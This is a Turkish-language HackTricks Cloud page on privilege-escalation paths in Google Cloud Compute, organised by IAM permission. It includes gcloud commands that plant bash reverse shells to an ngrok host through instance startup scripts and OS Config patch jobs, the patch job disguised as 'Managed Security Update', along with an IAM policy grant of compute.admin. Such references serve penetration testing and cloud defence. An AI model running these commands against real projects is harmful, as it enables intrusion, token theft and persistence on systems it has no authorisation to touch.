GCP - Compute Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Compute
GCP’deki Compute ve VPC (ağ) hakkında daha fazla bilgi için kontrol edin:
Caution
Instance’ın metadata’sını değiştirmeyi gerektiren tüm ayrıcalık yükseltme saldırılarını gerçekleştirmek için (yeni kullanıcılar ve SSH anahtarları eklemek gibi) instance’a bağlı SA üzerinde
actAsizinlerinizin olması GEREKİR, SA zaten bağlı olsa bile!
compute.projects.setCommonInstanceMetadata
Bu izinle instance’ın metadata bilgilerini değiştirebilir ve bir kullanıcının yetkilendirilmiş anahtarlarını değiştirebilir veya sudo izinlerine sahip yeni bir kullanıcı oluşturabilirsiniz. Bu nedenle, herhangi bir VM instance’ına SSH ile bağlanabilir ve instance’ın çalıştığı GCP Service Account’ı çalabilirsiniz.
Sınırlamalar:
- GCP Service Accounts’ın VM instance’larında varsayılan olarak çok sınırlı bir kapsamı olduğunu unutmayın.
- Giriş yapmak için SSH sunucusuyla iletişim kurabilmeniz gerekecek.
Bu izni nasıl istismar edeceğiniz hakkında daha fazla bilgi için kontrol edin:
Bu saldırıyı yeni bir başlangıç betiği ekleyerek ve instance’ı yeniden başlatarak da gerçekleştirebilirsiniz:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
Bu izin, önceki iznin sağladığı aynı ayrıcalıkları belirli bir örnek üzerinde, tüm proje yerine verir. Önceki bölümdeki aynı istismarlar ve sınırlamalar geçerlidir.
compute.instances.setIamPolicy
Bu tür bir izin, önceki izinlerle kendinize bir rol vermenize ve bunları kötüye kullanarak ayrıcalıkları artırmanıza olanak tanır. İşte bir Service Account’a roles/compute.admin ekleme örneği:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
Eğer OSLogin örnekte etkinse, bu izinle sadece gcloud compute ssh [INSTANCE] komutunu çalıştırarak örneğe bağlanabilirsiniz. Örneğin içinde root yetkileriniz olmayacak.
Tip
Bu izinle VM örneği içinde başarılı bir şekilde giriş yapmak için, VM’ye ekli SA üzerinde
iam.serviceAccounts.actAsiznine sahip olmanız gerekir.
compute.instances.osAdminLogin
Eğer OSLogin örnekte etkinse, bu izinle sadece gcloud compute ssh [INSTANCE] komutunu çalıştırarak örneğe bağlanabilirsiniz. Örneğin içinde root yetkilerine sahip olacaksınız.
Tip
Bu izinle VM örneği içinde başarılı bir şekilde giriş yapmak için, VM’ye ekli SA üzerinde
iam.serviceAccounts.actAsiznine sahip olmanız gerekir.
compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp
Atanmış bir Hizmet Hesabı ile bir sanal makine oluşturmak ve token’ı çalmak mümkündür, bu da yetkileri artırmak için metadata’ya erişim sağlar.
Bu yöntem için istismar betiği burada bulunabilir.
osconfig.patchDeployments.create | osconfig.patchJobs.exec
Eğer osconfig.patchDeployments.create veya osconfig.patchJobs.exec izinleriniz varsa, bir patch job veya deployment oluşturabilirsiniz. Bu, ortamda yanlamasına hareket etmenizi ve bir projedeki tüm compute örneklerinde kod yürütme elde etmenizi sağlar.
Şu anda örneğe ekli SA üzerinde actAs iznine ihtiyacınız olmadığını unutmayın.
Bunu manuel olarak istismar etmek istiyorsanız, ya bir patch job ya da deployment** oluşturmanız gerekecek.**
Bir patch job için çalıştırın:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
Bir yamanın dağıtımını yapmak için:
gcloud compute os-config patch-deployments create <name> ...
Aracın patchy geçmişte bu yanlış yapılandırmayı istismar etmek için kullanılabiliyordu (ama şimdi çalışmıyor).
Bir saldırgan bunu kalıcılık için de kötüye kullanabilir.
compute.machineImages.setIamPolicy
Kendinize ek izinler verin compute Image için.
compute.snapshots.setIamPolicy
Kendinize ek izinler verin bir disk anlık görüntüsü için.
compute.disks.setIamPolicy
Kendinize ek izinler verin bir disk için.
Erişim Kapsamlarını Aşma
Bu bağlantıyı takip ederek bazı erişim kapsamlarını aşma fikirleri bulabilirsiniz.
GCP Compute örneğinde Yerel Yetki Yükseltme
GCP - local privilege escalation ssh pivoting
Referanslar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

